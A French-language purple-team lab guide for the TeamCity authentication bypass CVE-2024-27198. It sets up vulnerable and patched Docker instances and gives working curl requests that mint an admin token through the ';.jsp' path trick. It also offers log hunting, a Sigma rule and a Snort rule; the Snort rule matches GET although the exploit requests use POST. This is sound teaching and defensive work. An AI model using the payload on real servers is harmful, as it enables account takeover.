Laboratoire pour CVE-2024-27198
TeamCity fournit une page réservée aux administrateurs pour la gestion des jetons qui n'est pas protégée par l'authentification. Cela permet à un utilisateur non authentifié de générer un jeton d'accès pour l'utilisateur administrateur s'il parvient à trouver l'ID d'un utilisateur existant.
La vulnérabilité réside dans le mécanisme de routage de l'API REST. En ajoutant des caractères spécifiques (comme ?jsp=/app/rest/...;.jsp) à un point de terminaison non authentifié, les attaquants peuvent tromper le serveur web TeamCity pour qu'il achemine la requête vers un point de terminaison authentifié tout en contournant les filtres de sécurité. Cela ne nécessite aucune connaissance ou accès préalable, ce qui en fait un CVSS pur de 9.8.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Accédez à l'instance TeamCity vulnérable à l'adresse http://localhost:8111. Accédez à l'instance TeamCity corrigée à l'adresse http://localhost:8112.
Username:
admin
Password:
admin
Requête GET pour une ressource sans authentification :
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Les deux devraient renvoyer une erreur avec le code d'état 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Cela devrait renvoyer un jeton comme celui-ci (Le jeton est différent à chaque fois) :
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Cela devrait renvoyer une erreur avec le code d'état 401 car l'instance corrigée ne présente pas la vulnérabilité.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Devrait renvoyer la liste des utilisateurs.
Lors de la démonstration dans le laboratoire, vous pouvez montrer une découverte majeure pour l'équipe bleue : par défaut, cette vulnérabilité est incroyablement furtive !
;.jsp ne sont pas enregistrées.Alors comment l'attraper ? Quand l'attaquant nettoie ses traces ! Lorsque l'attaquant supprime son jeton malveillant pour se cacher, TeamCity enregistre cette action.
Trouvez l'attaquant dissimulant ses traces dans les journaux d'audit :
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Vous verrez une entrée de journal indiquant que le jeton "REDTEAM" a été supprimé).
docker compose -f docker-compose.yml down
Cette vulnérabilité est une instance de CWE-288 : Contournement d'authentification utilisant un chemin ou canal alternatif.
Le défaut provient d'un problème de confusion de chemin entre le serveur web Tomcat et le routeur d'application TeamCity. En ajoutant ;.jsp et en passant le point de terminaison API REST cible dans le paramètre jsp=, le filtre de sécurité initial interprète la requête comme une requête non authentifiée vers un fichier .jsp public (ce qui est autorisé). Cependant, le routeur interne supprime le ;.jsp et transmet la requête au point de terminaison restreint /app/rest/ sans appliquer le filtre d'authentification.
Cas d'utilisation légitime (Pourquoi ; est-il autorisé ?) :
Tomcat utilise le point-virgule (;) pour les paramètres matriciels. Historiquement, ce mécanisme est utilisé pour passer des paramètres directement dans le chemin, comme ajouter JSESSIONID pour maintenir l'état de session utilisateur lorsque les cookies sont désactivés. Ce comportement normal et légitime du serveur web, combiné à la validation incorrecte par le routeur d'application TeamCity, crée la vulnérabilité.
Pour détecter une compromission en cours ou passée, les équipes bleues doivent rechercher :
/app/rest/ mais contenant la chaîne anormale ;.jsp dans l'URI.teamcity-server.log) : Génération inexpliquée de jetons d'accès ou création de nouveaux comptes administratifs.Étant donné que l'exploit initial est furtif par défaut, les équipes bleues doivent s'appuyer sur la détection des actions post-exploitation de l'attaquant, comme le fait de masquer ses traces. Voici une règle Sigma pour votre SIEM afin de détecter les suppressions suspectes de jetons :
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Pour prouver que cette détection fonctionne, exécutez le script siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Pour détecter cette tentative d'exploitation sur le réseau, un SOC peut implémenter la règle IDS suivante, qui recherche le motif anormal ;.jsp combiné aux chemins API REST :
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Pour prouver que l'atténuation fonctionne, vous pouvez lancer exactement la même charge utile d'exploit contre le conteneur TeamCity corrigé fonctionnant sur le port 8112 :
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Étant donné que le correctif applique strictement la correspondance de routage et nettoie correctement les paramètres matriciels, le contournement échouera. Vous devriez voir une réponse 401 Unauthorized ou 404 Not Found au lieu d'un jeton généré.